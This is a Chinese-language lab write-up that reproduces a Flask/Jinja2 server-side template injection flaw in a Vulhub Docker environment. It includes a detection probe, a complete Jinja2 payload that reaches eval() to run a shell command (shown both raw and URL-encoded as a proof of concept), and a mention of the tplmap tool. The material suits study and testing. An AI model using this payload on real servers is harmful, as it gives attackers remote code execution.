Flask(Jinja2) 服务端模板注入漏洞

一、漏洞描述

模版引擎被 Web 应用程序广泛用于呈现动态数据。不安全的模版语法可以嵌入用户输入实现服务器端的模版注入,这是一个经常出现的严重漏洞。模版注入可以直接攻击 Web 服务器内部结构,并获取到远程代码执行权限(RCE)。

二、漏洞影响

三、漏洞复现

1、环境搭建

使用 Vulhub 在服务器上搭建:

cd /vulhub/flask/ssti docker-compose up -d 

访问127.0.0.1:8000,进入到主页面:
Flask(Jinja2) 服务端模板注入漏洞

2、漏洞复现

第一步:判断是否存在漏洞:
Flask(Jinja2) 服务端模板注入漏洞
其存在 GET 方式的传参,通过传入?name={{7*7}}测试:
Flask(Jinja2) 服务端模板注入漏洞
返回49,说明存在 SSTI 漏洞存在。

第二步:漏洞利用
通过 eval() 函数并执行任意 Python 代码:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("id").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %} 

即访问:http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
得到回显:
Flask(Jinja2) 服务端模板注入漏洞

四、漏洞POC

?id=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D 

五、参考链接

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

六、利用工具

tplmap
Flask(Jinja2) 服务端模板注入漏洞

版权声明:玥玥 发表于 2021-05-05 3:14:03。
转载请注明:Flask(Jinja2) 服务端模板注入漏洞 | 女黑客导航